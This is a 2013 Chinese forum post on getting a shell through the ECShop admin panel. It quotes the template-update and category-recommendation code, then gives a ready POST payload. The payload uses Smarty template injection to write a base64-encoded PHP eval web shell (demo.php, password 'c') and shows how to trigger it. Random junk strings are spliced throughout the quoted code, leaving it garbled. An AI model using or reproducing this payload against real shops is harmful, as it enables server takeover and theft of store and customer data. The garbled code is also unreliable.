找回密码
 立即注册
查看: 3231|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% z: l& b5 \# v
  S7 M* k! l7 h. f9 F% C1 t而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' s* D% N7 K* k0 }" @
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* _% H) X) m2 o& N$ d2 s
admin/template.php
1 w9 \: Y; \& w
( u# {/ o4 K5 x9 s/ f( g1 if ($_REQUEST['act'] == 'update_library')
( S, _) m2 t0 a" ~8 ~) V
* r# s+ k+ _( ?4 K+ M; i, Q2   / [$ K, J- r% {4 E! o0 O$ d5 F! h- J
7 C  B8 F6 R4 A6 I. I
3 { ) R1 E& f. i: S1 T  v  e  |. q
% j& f1 z1 {; r  D7 P& W! p% @
4     check_authz_json('library_manage');
/ `1 v( F' R6 W$ I: z% B0 Q: R8 d, m" m7 l( N2 D7 ?
5   . D+ A& z1 O7 S* `1 f
+ \# W# l3 @3 g- U0 q' P
6     $html = stripslashes(json_str_iconv($_POST['html']));
; [2 B/ _! o# E  F
& L1 Y# C% l/ C2 ^& N7   ! `* E4 P8 }5 V, `: J) i, z1 v- {
& R! V6 p% W2 J4 v  _
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
) e$ z) r) _: ~6 V3 t, g8 F! h# `, ?* P4 m5 _- F, ~
9   ) B8 O& g0 C$ J8 L0 a7 h

* o: {/ J8 D0 r8 v1 w0 ^" K6 w7 I- d10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符   S& S- V6 G9 i; B) w* W, c
& ~) R) n$ N2 \: M
11   : o+ e. d* q3 q( `6 ^

2 ^- l0 y5 h# R+ s8 Q! x12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 9 u; L, `! S4 n7 {

& o1 b' q( {7 q' `- R, e13   0 `6 M( {. s3 X- F

( L- W% `- `( T% s14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 0 r: u' l& H6 H; t, C
) l3 `- x& U2 n. P: V# b8 c
15     {
! f) J1 r# h1 I5 q! A. T
. G5 Q: ]9 {0 {2 A. o! Y/ M16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); , C8 A7 r9 [0 q, y5 ~: O
+ G$ H; ~. D3 e2 q! S2 I
17         make_json_result('', $_LANG['update_lib_success']); / W3 W- ?* ]4 Q+ N

; ^3 G8 n3 y6 I( |/ G- i18     }
% [# C! E1 n; ]
4 `8 z: J4 E7 k+ N' f19     else ' j- E4 _/ R& h- R* Z3 f
6 j4 O: |2 O+ @+ _, t; I! b1 }
20     {
' d8 t2 T" g. `
7 u0 m' t, e2 T5 p& a& n& G21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 2 \3 S; ]9 f& f+ Z: ^+ g% c
2 M0 g/ w1 a5 j3 S) G+ C
22     }
. S; J' B9 p. b! u  o' T' }5 b) p' A+ [
: Y& k9 m2 E' c1 n2 N: G- M6 e23 }
2 _( Y8 j; `: q, m  u1 n% E* c3 I, {* e
那么找个比较方便调用了模板的文件) I6 N+ {/ K+ `& C* c+ Z. `7 o
index.php
4 ?% S6 O4 k7 y9 ?/ F0 R4 L: b# y' O
1 if ($act == 'cat_rec')
' U3 g2 N$ z& Y0 W
3 }# N( }; n2 }( D2   ( H1 c3 B5 p" s' H. I
, J% L: N" y) W: a. H! L  D
3 {
3 L6 C! u1 u. K: k8 o, `, j1 \
9 S! R9 A4 Y! z  s  M0 M4   
% P1 f5 t3 J" }+ k1 e7 M
/ G! Y* ]" j( T; q# h  {& `+ `6 V5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
" N4 R; ?; y1 _; ?  [- f
4 |1 A! P2 k9 H4 c6   
8 N2 r3 M& B, g$ Y/ P) a4 c" Q6 G1 F
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 8 [5 S/ }9 y: [9 B8 e. t/ J2 V9 D) x; h
" N) c( P/ N% D# g2 a7 O4 d
8   
/ w) D  b6 V; x4 p+ ~) h4 s' N: \
5 `/ @- U' P/ n( \* Q9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
  d$ {& W, K" F0 j! v% }; f8 O3 @& b9 l4 X) F  l3 G) {
10   
8 I4 \+ e3 u6 E/ o- ~6 t8 r- i  S. M2 ]  {( x- ?: ?
11     include_once('includes/cls_json.php');
; X" q9 ^9 r0 O  B% n
4 W3 [1 w, @9 Z+ T12   " `! Q) W" m" |2 X

. v& L" a; f& f& r0 w13     $json = new JSON; # W* j/ \  {! v# _" S" e* }1 J
' _8 I  R4 t$ k8 ^
14   
* b' k4 k: E5 A, `
5 u0 i6 g* D2 Q4 f15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); % c9 B" j- N7 S: A& o9 c
8 J+ G% c# d1 B' r2 [( m$ Q
16   
8 v' ?9 Y7 v* Z: [& X9 M  k+ s; X; X& _
17     $children = get_children($cat_id); * M$ B/ U/ Q6 x! L( q. G4 x2 l
" A( e, p3 I7 Q& c6 u  l# A
18   
% w( ^/ d$ @+ `% ?
# R$ y3 [2 y" G/ j1 t% F4 H  o. f19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 4 Q, d- {1 Q" e0 ~

: Q0 f/ ]9 h6 d' x20   
& y# ~2 T9 ~. _% j' ~6 s- I
# x. k- b% ~8 I* K21     $smarty->assign('cat_rec_sign', 1); 9 Y- L8 k; {- y& A# M( o$ R
# _0 }# U# Y1 [9 Z3 ^+ ~8 W1 q
22   , l+ N/ L  a( P7 g6 h
0 o8 [3 i/ {8 ^, R5 K5 K
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 8 D' E+ D: d: Z/ c; S6 t) s4 Q" w; a1 G/ ^
& V2 F% Z/ Z6 r( @- L7 {$ q0 i8 X2 O8 g
24   
6 u; ^* E1 j& u$ Z1 @
9 c6 v! d3 `3 u9 ~! z: _25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
; _7 o* E% X- g7 ^7 B  [* y3 _5 M. t% y% e8 _5 \
26   
/ J; h9 D/ B+ y0 w5 p. b# k2 g
0 h6 d" v/ y; y27         echo $rec_array[$rec_type]; % N4 g8 w3 t0 r# ?; t% U0 v

( [; ~& i6 z/ ~0 i8 w+ b28   
9 Q  P' w) L( k, G) z9 S
& ?+ V- [/ J3 a+ I$ g( I29     die($json->encode($result));
: `# s* T3 `, i1 k! o; r
* ]4 I+ }/ H; M: [30   . [! V# \3 y/ Y3 P9 Z, y: N8 i
+ c! S% J% V* N2 c- H  f
31 } - Q# {$ F0 T  e  t3 ]
* x2 K9 _: R2 z8 l) X
那么就有利用方法了
: }- m4 u2 v9 F- P6 Opost包到http://localhost/ec/admin/template.php?act=update_library$ D* K3 `6 S  x3 D( |
Post内容:9 u( _1 \: p6 n  ^! u3 l

) `" P! K5 D/ Q6 O$ j
( y; z. V1 G+ V9 C1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
$ _. I- ?4 d6 y3 \3 Z$ e
) ]. ?  b- Q# N% x  B+ ~3 M5 M然后访问http://localhost/ec/index.php?act=cat_rec; a6 ~. Y$ G# R* i$ {

( e+ C% z3 e% y7 F6 yshel地址:http://localhost/ec/demo.php
) n( v! `7 P+ q$ N密码c
3 n- E+ d  u3 ~% h4 M+ n5 C* ]% b0 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表